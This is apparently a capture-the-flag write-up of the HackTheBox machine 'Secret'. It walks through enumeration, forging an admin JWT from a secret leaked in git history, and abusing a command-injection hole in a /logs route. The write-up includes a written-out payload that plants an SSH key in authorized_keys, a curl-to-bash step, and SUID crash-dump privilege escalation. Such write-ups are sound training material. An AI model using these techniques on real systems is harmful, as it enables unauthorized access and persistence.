Secret is an easy level machine (supposedly) on HacktheBox, though I found it to be much more challenging than most other easy machines. The website on the machine features a live API, documentation for it, and a download for it’s source code. In the source code, we see that the api uses JWT tokens to authenticate users, and by viewing the git commit history we steal the token secret and use it to forge our own admin token. We then discover an authenticated RCE in the source code and use it to drop our SSH key onto the box and grab the user flag. From there we ultimately get the root flag through exploiting a file wih a custom SUID bit by running the program, crashing it, and reading the crashdump.
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sC -sV 10.10.11.120
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-18 21:15 EDT
Nmap scan report for 10.10.11.120
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap shows us SSH on 22, and 2 HTTP servers on 80 and 3000.It also appears that the same content is being hosted on both web sites, however from the service scan we see that port 80 is running nginx and port 3000 is running Node.js, which might be important to note, or it might not.
From either site we can see links to different sections of the documentation, and a download for the source code at the bottom.
Just in case, we’ll run dirb to look for any other directories while we look around and read the documentation.
1
dirb http://10.10.11.120/ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
From the site’s documentation, we can see a demonstration of how to use the api to register a user on the /api/user/register endpoint.
Let’s fire up burpsuite and give it a try.
Because we don’t have a content type set, the server is expecting “name=” in the body of the POST request. however since we are submitting a json we need to add the “Content-Type: application/json” header in order to submit the request to the server properly.
Success! Kind of. Submitting a longer username and password this time lets us create a user and get the expected response that was shown in the documentation.
Moving on in the documentation, we can see that after creating a user, we can login at /api/user/login to get a JWT token.
Let’s try ourselves.
If you are an administrator, you can verify at /api/priv by sending your token.
If you are a normal user, you will get this returned.
However, if you are not verified you will get an “access denied”.
Let’s verify our role. We should expect to see “you are a normal user” when we make a GET request to /api/priv with the auth-token header set.
As expected, we see that we are a normal user at the moment. Besides that, we don’t have anything else to go off of right now, and our dirb didn’t find anything particularly useful.
1
2
3
4
5
6
7
http://10.10.11.120/download (CODE:301|SIZE:183)
+ http://10.10.11.120/docs (CODE:200|SIZE:20720)
+ http://10.10.11.120/assets (CODE:301|SIZE:179)
+ http://10.10.11.120/api (CODE:200|SIZE:93)
+ http://10.10.11.120/Docs (CODE:200|SIZE:20720)
+ http://10.10.11.120/API (CODE:200|SIZE:93)
+ http://10.10.11.120/DOCS (CODE:200|SIZE:20720)
Let’s download the source code and see what’s going on here.
Right away, we see that the .env file has not been excluded. A short read up here explains why this is generally bad practice. Aside from that, we can see the routes that the website uses and the code for the different functions that we just tried like registering and logging in.
Doing a git log shows us previous commit messages.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
We can see that the .env file was removed for security reasons, let’s check out why by doing a git diff HEAD~2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
git diff HEAD~2
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
if (name == 'theadmin'){
res.json({
- role:{
-
- role:"you are admin",
- desc : "{flag will be here}"
+ creds:{
+ role:"admin",
+ username:"theadmin",
+ desc : "welcome back admin,"
}
})
}
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
}
})
}
+})
+
+router.get('/logs', verifytoken, (req, res) => {
+ const file = req.query.file;
+ const userinfo = { name: req.user }
+ const name = userinfo.name.name;
+
+ if (name == 'theadmin'){
+ const getLogs = `git log --oneline ${file}`;
+ exec(getLogs, (err , output) =>{
+ if(err){
+ res.status(500).send(err);
+ return
+ }
+ res.json(output);
+ })
+ }
+ else{
+ res.json({
We can see that the JWT secret was included in the commit. We can learn more about JWT tokens and how to construct and deconstruct them here. Let’s take this token secret and see if we can use it to forge a token that will give us more privilege.
Foothold
From the /priv route in the source code, we can see that the administrator username is hardcoded as “theadmin”.
Further down, we can see that if we are admin, we can pass commands in a get request to the /logs endpoint that get passed to the server and executed as bash commands: effectively a shell. See where this is going?
We have a plan now: take the stolen JWT secret and forge an admin token with it, then use that token to get RCE from the /logs endpoint. Let’s forge our token, remember, as long as the name is “theadmin” and the token secret is correct, we should get a valid admin token.
We submit this token to the /priv endpoint to check if our token is valid:
Looks good, let’s get that RCE now.
Nice, let’s go for a reverse shell and grab the user flag now. Since SSH is open on the box, we can try dropping our public key in the authorized_keys file. We use SSH-keygen to make a new key.
We must construct a payload now that will upload our key to the target. We use mkdir with the -p argument to make the .ssh directory on the target if it doesn’t already exist, and echo our public key to the authorized_keys file within that directory.
1
mkdir -p /home/dasith/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCTcMliTv2GtoJTymEhqEHzqpzOo/7qU9eODpzakrGOQvn2aA7epSxSmNtnAfPnmT6wwDcR/bq7lsirRNBWdb1sKGYRKIY85jANZHqWHqC8FGMJu0F7UrBCCPKa/kwugZLyhgaR72QGvk5CnocX6UnDowtvY7jrJZboq/ESArnISNHRqc1ZUzWXElyt0AT8m/N8/LJKlN5zGU/cBDiUqJQ+pWbLs/MG9apeLOo46+BlSoBbS7iPsRRtyMEOOw4XvyfBxQOn9ZohlShxq4bnne4OEe4lmQr92SY1Vc9sUUOP9wyPH2chJFm9LJXAragja0YTFT6mt2aeGf0HjpjE+kXVXpoiadZ4ai/BUfM1bUtrAleUrmbEanNny8f5QaC65hxhnxnVtlgkhJCnSmajdiAW+zK7C0KYYSI0jHmkddSBGaWmpIbarqz97Md1y2BrJGxtg3CJlWw48vRw8NdtSpwu0EPEnaecS3KzN9JhsBYqlMsVopB8Vzq7kAyZe2XVjYs= kali@kali" >> /home/dasith/.ssh/authorized_keys"
Let’s URL encode this and send it through burp with our admin token
200 response - so far so good. We’ll know it was successful if we can SSH into the machine.
User.txt is ours now! Let’s get linpeas running on the box now.
As always we host it on a simple http server from our machine,curl it from the target machine,and pipe it to bash. Unfortunately, I got stuck at this section of the box for quite some time sifting through the linpeas output and trying to find a privesc vector. In the end, the answer was in the /opt directory.
Privilege Escalation
Running the count program, it asks for a file, and then displays the amount of characters in that file. Because this application is owned by root, it should be able to read files owned by root. Let’s test by running the program on the root.txt file.
33 characters is the length of an MD5 hash + a new line character, meaning the program does what it’s supposed to, but how can we use this to our benefit? We know that before the program can run, it needs to pull the file into memory. What happens if we just start the program and crash it before it’s done running?
We load the root.txt file into memory, background the process with CTRL+Z, and kill the process with a segfault. If we go to /var/crash, we can see the crash dump.
The dump can be unpacked with apport-unpack, and because the CoreDump file that’s produced is a binary, we need to use the strings command to sift through the readable information.
Looking through the output, we find something that clearly resembles a 32 character hash, which is our root flag!
Though we technically completed the box, I always prefer to actually get a shell as root rather than just grabbing the flag, this can be done by grabbing the root user’s private ssh key and using it to ssh into the box.